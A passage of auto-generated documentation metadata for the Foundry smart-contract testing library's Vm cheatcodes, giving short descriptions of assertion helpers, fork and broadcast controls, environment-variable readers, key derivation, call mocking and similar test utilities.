values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message.\"},\"assertApproxEqAbsDecimal(int256,int256,uint256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message.\"},\"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertApproxEqRel(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\"},\"assertApproxEqRel(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure.\"},\"assertApproxEqRel(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\"},\"assertApproxEqRel(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure.\"},\"assertApproxEqRelDecimal(int256,int256,uint256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message.\"},\"assertApproxEqRelDecimal(int256,int256,uint256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message.\"},\"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertEq(address,address)\":{\"notice\":\"Asserts that two `address` values are equal.\"},\"assertEq(address,address,string)\":{\"notice\":\"Asserts that two `address` values are equal and includes error message into revert string on failure.\"},\"assertEq(address[],address[])\":{\"notice\":\"Asserts that two arrays of `address` values are equal.\"},\"assertEq(address[],address[],string)\":{\"notice\":\"Asserts that two arrays of `address` values are equal and includes error message into revert string on failure.\"},\"assertEq(bool,bool)\":{\"notice\":\"Asserts that two `bool` values are equal.\"},\"assertEq(bool,bool,string)\":{\"notice\":\"Asserts that two `bool` values are equal and includes error message into revert string on failure.\"},\"assertEq(bool[],bool[])\":{\"notice\":\"Asserts that two arrays of `bool` values are equal.\"},\"assertEq(bool[],bool[],string)\":{\"notice\":\"Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes,bytes)\":{\"notice\":\"Asserts that two `bytes` values are equal.\"},\"assertEq(bytes,bytes,string)\":{\"notice\":\"Asserts that two `bytes` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes32,bytes32)\":{\"notice\":\"Asserts that two `bytes32` values are equal.\"},\"assertEq(bytes32,bytes32,string)\":{\"notice\":\"Asserts that two `bytes32` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes32[],bytes32[])\":{\"notice\":\"Asserts that two arrays of `bytes32` values are equal.\"},\"assertEq(bytes32[],bytes32[],string)\":{\"notice\":\"Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure.\"},\"assertEq(bytes[],bytes[])\":{\"notice\":\"Asserts that two arrays of `bytes` values are equal.\"},\"assertEq(bytes[],bytes[],string)\":{\"notice\":\"Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure.\"},\"assertEq(int256,int256)\":{\"notice\":\"Asserts that two `int256` values are equal.\"},\"assertEq(int256,int256,string)\":{\"notice\":\"Asserts that two `int256` values are equal and includes error message into revert string on failure.\"},\"assertEq(int256[],int256[])\":{\"notice\":\"Asserts that two arrays of `int256` values are equal.\"},\"assertEq(int256[],int256[],string)\":{\"notice\":\"Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure.\"},\"assertEq(string,string)\":{\"notice\":\"Asserts that two `string` values are equal.\"},\"assertEq(string,string,string)\":{\"notice\":\"Asserts that two `string` values are equal and includes error message into revert string on failure.\"},\"assertEq(string[],string[])\":{\"notice\":\"Asserts that two arrays of `string` values are equal.\"},\"assertEq(string[],string[],string)\":{\"notice\":\"Asserts that two arrays of `string` values are equal and includes error message into revert string on failure.\"},\"assertEq(uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are equal.\"},\"assertEq(uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are equal and includes error message into revert string on failure.\"},\"assertEq(uint256[],uint256[])\":{\"notice\":\"Asserts that two arrays of `uint256 values are equal.\"},\"assertEq(uint256[],uint256[],string)\":{\"notice\":\"Asserts that two arrays of `uint256` values are equal and includes error message into revert string on failure.\"},\"assertEqDecimal(int256,int256,uint256)\":{\"notice\":\"Asserts that two `int256` values are equal, formatting them with decimals in failure message.\"},\"assertEqDecimal(int256,int256,uint256,string)\":{\"notice\":\"Asserts that two `int256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertEqDecimal(uint256,uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are equal, formatting them with decimals in failure message.\"},\"assertEqDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertFalse(bool)\":{\"notice\":\"Asserts that the given condition is false.\"},\"assertFalse(bool,string)\":{\"notice\":\"Asserts that the given condition is false and includes error message into revert string on failure.\"},\"assertGe(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second.\"},\"assertGe(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure.\"},\"assertGe(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second.\"},\"assertGe(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure.\"},\"assertGeDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message.\"},\"assertGeDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertGeDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message.\"},\"assertGeDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertGt(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second.\"},\"assertGt(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second. Includes error message into revert string on failure.\"},\"assertGt(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second.\"},\"assertGt(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second. Includes error message into revert string on failure.\"},\"assertGtDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message.\"},\"assertGtDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertGtDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message.\"},\"assertGtDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLe(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second.\"},\"assertLe(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure.\"},\"assertLe(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second.\"},\"assertLe(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure.\"},\"assertLeDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message.\"},\"assertLeDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLeDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message.\"},\"assertLeDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLt(int256,int256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second.\"},\"assertLt(int256,int256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second. Includes error message into revert string on failure.\"},\"assertLt(uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second.\"},\"assertLt(uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second. Includes error message into revert string on failure.\"},\"assertLtDecimal(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message.\"},\"assertLtDecimal(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertLtDecimal(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message.\"},\"assertLtDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure.\"},\"assertNotEq(address,address)\":{\"notice\":\"Asserts that two `address` values are not equal.\"},\"assertNotEq(address,address,string)\":{\"notice\":\"Asserts that two `address` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(address[],address[])\":{\"notice\":\"Asserts that two arrays of `address` values are not equal.\"},\"assertNotEq(address[],address[],string)\":{\"notice\":\"Asserts that two arrays of `address` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bool,bool)\":{\"notice\":\"Asserts that two `bool` values are not equal.\"},\"assertNotEq(bool,bool,string)\":{\"notice\":\"Asserts that two `bool` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bool[],bool[])\":{\"notice\":\"Asserts that two arrays of `bool` values are not equal.\"},\"assertNotEq(bool[],bool[],string)\":{\"notice\":\"Asserts that two arrays of `bool` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes,bytes)\":{\"notice\":\"Asserts that two `bytes` values are not equal.\"},\"assertNotEq(bytes,bytes,string)\":{\"notice\":\"Asserts that two `bytes` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes32,bytes32)\":{\"notice\":\"Asserts that two `bytes32` values are not equal.\"},\"assertNotEq(bytes32,bytes32,string)\":{\"notice\":\"Asserts that two `bytes32` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes32[],bytes32[])\":{\"notice\":\"Asserts that two arrays of `bytes32` values are not equal.\"},\"assertNotEq(bytes32[],bytes32[],string)\":{\"notice\":\"Asserts that two arrays of `bytes32` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(bytes[],bytes[])\":{\"notice\":\"Asserts that two arrays of `bytes` values are not equal.\"},\"assertNotEq(bytes[],bytes[],string)\":{\"notice\":\"Asserts that two arrays of `bytes` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(int256,int256)\":{\"notice\":\"Asserts that two `int256` values are not equal.\"},\"assertNotEq(int256,int256,string)\":{\"notice\":\"Asserts that two `int256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(int256[],int256[])\":{\"notice\":\"Asserts that two arrays of `int256` values are not equal.\"},\"assertNotEq(int256[],int256[],string)\":{\"notice\":\"Asserts that two arrays of `int256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(string,string)\":{\"notice\":\"Asserts that two `string` values are not equal.\"},\"assertNotEq(string,string,string)\":{\"notice\":\"Asserts that two `string` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(string[],string[])\":{\"notice\":\"Asserts that two arrays of `string` values are not equal.\"},\"assertNotEq(string[],string[],string)\":{\"notice\":\"Asserts that two arrays of `string` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are not equal.\"},\"assertNotEq(uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEq(uint256[],uint256[])\":{\"notice\":\"Asserts that two arrays of `uint256` values are not equal.\"},\"assertNotEq(uint256[],uint256[],string)\":{\"notice\":\"Asserts that two arrays of `uint256` values are not equal and includes error message into revert string on failure.\"},\"assertNotEqDecimal(int256,int256,uint256)\":{\"notice\":\"Asserts that two `int256` values are not equal, formatting them with decimals in failure message.\"},\"assertNotEqDecimal(int256,int256,uint256,string)\":{\"notice\":\"Asserts that two `int256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertNotEqDecimal(uint256,uint256,uint256)\":{\"notice\":\"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.\"},\"assertNotEqDecimal(uint256,uint256,uint256,string)\":{\"notice\":\"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure.\"},\"assertTrue(bool)\":{\"notice\":\"Asserts that the given condition is true.\"},\"assertTrue(bool,string)\":{\"notice\":\"Asserts that the given condition is true and includes error message into revert string on failure.\"},\"assume(bool)\":{\"notice\":\"If the condition is false, discard this run's fuzz inputs and generate new ones.\"},\"breakpoint(string)\":{\"notice\":\"Writes a breakpoint to jump to in the debugger.\"},\"breakpoint(string,bool)\":{\"notice\":\"Writes a conditional breakpoint to jump to in the debugger.\"},\"broadcast()\":{\"notice\":\"Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain.\"},\"broadcast(address)\":{\"notice\":\"Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain.\"},\"broadcast(uint256)\":{\"notice\":\"Has the next call (at this call depth only) create a transaction with the private key provided as the sender that can later be signed and sent onchain.\"},\"chainId(uint256)\":{\"notice\":\"Sets `block.chainid`.\"},\"clearMockedCalls()\":{\"notice\":\"Clears all mocked calls.\"},\"closeFile(string)\":{\"notice\":\"Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. `path` is relative to the project root.\"},\"coinbase(address)\":{\"notice\":\"Sets `block.coinbase`.\"},\"computeCreate2Address(bytes32,bytes32)\":{\"notice\":\"Compute the address of a contract created with CREATE2 using the default CREATE2 deployer.\"},\"computeCreate2Address(bytes32,bytes32,address)\":{\"notice\":\"Compute the address of a contract created with CREATE2 using the given CREATE2 deployer.\"},\"computeCreateAddress(address,uint256)\":{\"notice\":\"Compute the address a contract will be deployed at for a given deployer address and nonce.\"},\"copyFile(string,string)\":{\"notice\":\"Copies the contents of one file to another. This function will **overwrite** the contents of `to`. On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`. Both `from` and `to` are relative to the project root.\"},\"createDir(string,bool)\":{\"notice\":\"Creates a new, empty directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - User lacks permissions to modify `path`. - A parent of the given path doesn't exist and `recursive` is false. - `path` already exists and `recursive` is false. `path` is relative to the project root.\"},\"createFork(string)\":{\"notice\":\"Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork.\"},\"createFork(string,bytes32)\":{\"notice\":\"Creates a new fork with the given endpoint and at the block the given transaction was mined in, replays all transaction mined in the block before the transaction, and returns the identifier of the fork.\"},\"createFork(string,uint256)\":{\"notice\":\"Creates a new fork with the given endpoint and block and returns the identifier of the fork.\"},\"createSelectFork(string)\":{\"notice\":\"Creates and also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork.\"},\"createSelectFork(string,bytes32)\":{\"notice\":\"Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in, replays all transaction mined in the block before the transaction, returns the identifier of the fork.\"},\"createSelectFork(string,uint256)\":{\"notice\":\"Creates and also selects a new fork with the given endpoint and block and returns the identifier of the fork.\"},\"createWallet(string)\":{\"notice\":\"Derives a private key from the name, labels the account with that name, and returns the wallet.\"},\"createWallet(uint256)\":{\"notice\":\"Generates a wallet from the private key and returns the wallet.\"},\"createWallet(uint256,string)\":{\"notice\":\"Generates a wallet from the private key, labels the account with that name, and returns the wallet.\"},\"deal(address,uint256)\":{\"notice\":\"Sets an address' balance.\"},\"deleteSnapshot(uint256)\":{\"notice\":\"Removes the snapshot with the given ID created by `snapshot`. Takes the snapshot ID to delete. Returns `true` if the snapshot was successfully deleted. Returns `false` if the snapshot does not exist.\"},\"deleteSnapshots()\":{\"notice\":\"Removes _all_ snapshots previously created by `snapshot`.\"},\"deriveKey(string,string,uint32)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) at `{derivationPath}{index}`.\"},\"deriveKey(string,string,uint32,string)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at `{derivationPath}{index}`.\"},\"deriveKey(string,uint32)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path `m/44'/60'/0'/0/{index}`.\"},\"deriveKey(string,uint32,string)\":{\"notice\":\"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at the derivation path `m/44'/60'/0'/0/{index}`.\"},\"difficulty(uint256)\":{\"notice\":\"Sets `block.difficulty`. Not available on EVM versions from Paris onwards. Use `prevrandao` instead. Reverts if used on unsupported EVM versions.\"},\"dumpState(string)\":{\"notice\":\"Dump a genesis JSON file's `allocs` to disk.\"},\"envAddress(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `address`. Reverts if the variable was not found or could not be parsed.\"},\"envAddress(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envBool(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable was not found or could not be parsed.\"},\"envBool(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes32(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable was not found or could not be parsed.\"},\"envBytes32(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envInt(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable was not found or could not be parsed.\"},\"envInt(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envOr(string,address)\":{\"notice\":\"Gets the environment variable `name` and parses it as `address`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,bool)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,bytes)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,bytes32)\":{\"notice\":\"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,int256)\":{\"notice\":\"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `string`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,address[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,bool[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,bytes32[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,bytes[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,int256[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,string[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,string,uint256[])\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envOr(string,uint256)\":{\"notice\":\"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found.\"},\"envString(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `string`. Reverts if the variable was not found or could not be parsed.\"},\"envString(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"envUint(string)\":{\"notice\":\"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable was not found or could not be parsed.\"},\"envUint(string,string)\":{\"notice\":\"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed.\"},\"etch(address,bytes)\":{\"notice\":\"Sets an address' code.\"},\"eth_getLogs(uint256,uint256,address,bytes32[])\":{\"notice\":\"Gets all the logs according to specified filter.\"},\"exists(string)\":{\"notice\":\"Returns true if the given path points to an existing entity, else returns false.\"},\"expectCall(address,bytes)\":{\"notice\":\"Expects a call to an address with the specified calldata. Calldata can either be a strict or a partial match.\"},\"expectCall(address,bytes,uint64)\":{\"notice\":\"Expects given number of calls to an address with the specified calldata.\"},\"expectCall(address,uint256,bytes)\":{\"notice\":\"Expects a call to an address with the specified `msg.value` and calldata.\"},\"expectCall(address,uint256,bytes,uint64)\":{\"notice\":\"Expects given number of calls to an address with the specified `msg.value` and calldata.\"},\"expectCall(address,uint256,uint64,bytes)\":{\"notice\":\"Expect a call to an address with the specified `msg.value`, gas, and calldata.\"},\"expectCall(address,uint256,uint64,bytes,uint64)\":{\"notice\":\"Expects given number of calls to an address with the specified `msg.value`, gas, and calldata.\"},\"expectCallMinGas(address,uint256,uint64,bytes)\":{\"notice\":\"Expect a call to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas.\"},\"expectCallMinGas(address,uint256,uint64,bytes,uint64)\":{\"notice\":\"Expect given number of calls to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas.\"},\"expectEmit()\":{\"notice\":\"Prepare an expected log with all topic and data checks enabled. Call this function, then emit an event, then call a function. Internally after the call, we check if logs were emitted in the expected order with the expected topics and data.\"},\"expectEmit(address)\":{\"notice\":\"Same as the previous method, but also checks supplied address against emitting contract.\"},\"expectEmit(bool,bool,bool,bool)\":{\"notice\":\"Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData.). Call this function, then emit an event, then call a function. Internally after the call, we check if logs were emitted in the expected order with the expected topics and data (as specified by the booleans).\"},\"expectEmit(bool,bool,bool,bool,address)\":{\"notice\":\"Same as the previous method, but also checks supplied address against emitting contract.\"},\"expectRevert()\":{\"notice\":\"Expects an error on next call with any revert data.\"},\"expectRevert(bytes)\":{\"notice\":\"Expects an error on next call that exactly matches the revert data.\"},\"expectRevert(bytes4)\":{\"notice\":\"Expects an error on next call that starts with the revert data.\"},\"expectSafeMemory(uint64,uint64)\":{\"notice\":\"Only allows memory writes to offsets [0x00, 0x60) \\u222a [min, max) in the current subcontext. If any other memory is written to, the test will fail. Can be called multiple times to add more ranges to the set.\"},\"expectSafeMemoryCall(uint64,uint64)\":{\"notice\":\"Only allows memory writes to offsets [0x00, 0x60) \\u222a [min, max) in the next created subcontext. If any other memory is written to, the test will fail. Can be called multiple times to add more ranges to the set.\"},\"fee(uint256)\":{\"notice\":\"Sets `block.basefee`.\"},\"ffi(string[])\":{\"notice\":\"Performs a foreign function call via the terminal.\"},\"fsMetadata(string)\":{\"notice\":\"Given a path, query the file system to get information about a file, directory, etc.\"},\"getBlockNumber()\":{\"notice\":\"Gets the current `block.number`. You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180\"},\"getBlockTimestamp()\":{\"notice\":\"Gets the current `block.timestamp`. You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180\"},\"getCode(string)\":{\"notice\":\"Gets the creation bytecode from an artifact file. Takes in the relative path to the json file.\"},\"getDeployedCode(string)\":{\"notice\":\"Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file.\"},\"getLabel(address)\":{\"notice\":\"Gets the label for the specified address.\"},\"getMappingKeyAndParentOf(address,bytes32)\":{\"notice\":\"Gets the map key and parent of a mapping at a given slot, for a given address.\"},\"getMappingLength(address,bytes32)\":{\"notice\":\"Gets the number of elements in the mapping at the given slot, for a given address.\"},\"getMappingSlotAt(address,bytes32,uint256)\":{\"notice\":\"Gets the elements at index idx of the mapping at the given slot, for a given address. The index must be less than the length of the mapping (i.e. the number of keys in the mapping).\"},\"getNonce((address,uint256,uint256,uint256))\":{\"notice\":\"Get a `Wallet`'s nonce.\"},\"getNonce(address)\":{\"notice\":\"Gets the nonce of an account.\"},\"getRecordedLogs()\":{\"notice\":\"Gets all the recorded logs.\"},\"isDir(string)\":{\"notice\":\"Returns true if the path exists on disk and is pointing at a directory, else returns false.\"},\"isFile(string)\":{\"notice\":\"Returns true if the path exists on disk and is pointing at a regular file, else returns false.\"},\"isPersistent(address)\":{\"notice\":\"Returns true if the account is marked as persistent.\"},\"keyExists(string,string)\":{\"notice\":\"Checks if `key` exists in a JSON object `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions.\"},\"keyExistsJson(string,string)\":{\"notice\":\"Checks if `key` exists in a JSON object.\"},\"keyExistsToml(string,string)\":{\"notice\":\"Checks if `key` exists in a TOML table.\"},\"label(address,string)\":{\"notice\":\"Labels an address in call traces.\"},\"load(address,bytes32)\":{\"notice\":\"Loads a storage slot from an address.\"},\"loadAllocs(string)\":{\"notice\":\"Load a genesis JSON file's `allocs` into the in-memory revm state.\"},\"makePersistent(address)\":{\"notice\":\"Marks that the account(s) should use persistent storage across fork swaps in a multifork setup Meaning, changes made to the state of this account will be kept when switching forks.\"},\"makePersistent(address,address)\":{\"notice\":\"See `makePersistent(address)`.\"},\"makePersistent(address,address,address)\":{\"notice\":\"See `makePersistent(address)`.\"},\"makePersistent(address[])\":{\"notice\":\"See `makePersistent(address)`.\"},\"mockCall(address,bytes,bytes)\":{\"notice\":\"Mocks a call to an address, returning specified data. Calldata can either be strict or a partial match, e.g. if you only pass a Solidity selector to the expected calldata, then the entire Solidity function will be mocked.\"},\"mockCall(address,uint256,bytes,bytes)\":{\"notice\":\"Mocks a call to an address with a specific `msg.value`, returning specified data. Calldata match takes precedence over `msg.value` in case of ambiguity.\"},\"mockCallRevert(address,bytes,bytes)\":{\"notice\":\"Reverts a call to an address with specified revert data.\"},\"mockCallRevert(address,uint256,bytes,bytes)\":{\"notice\":\"Reverts a call to an address with a specific `msg.value`, with specified revert data.\"},\"parseAddress(string)\":{\"notice\":\"Parses the given `string` into an `address`.\"},\"parseBool(string)\":{\"notice\":\"Parses the given `string` into a `bool`.\"},\"parseBytes(string)\":{\"notice\":\"Parses the given `string` into `bytes`.\"},\"parseBytes32(string)\":{\"notice\":\"Parses the given `string` into a `bytes32`.\"},\"parseInt(string)\":{\"notice\":\"Parses the given `string` into a 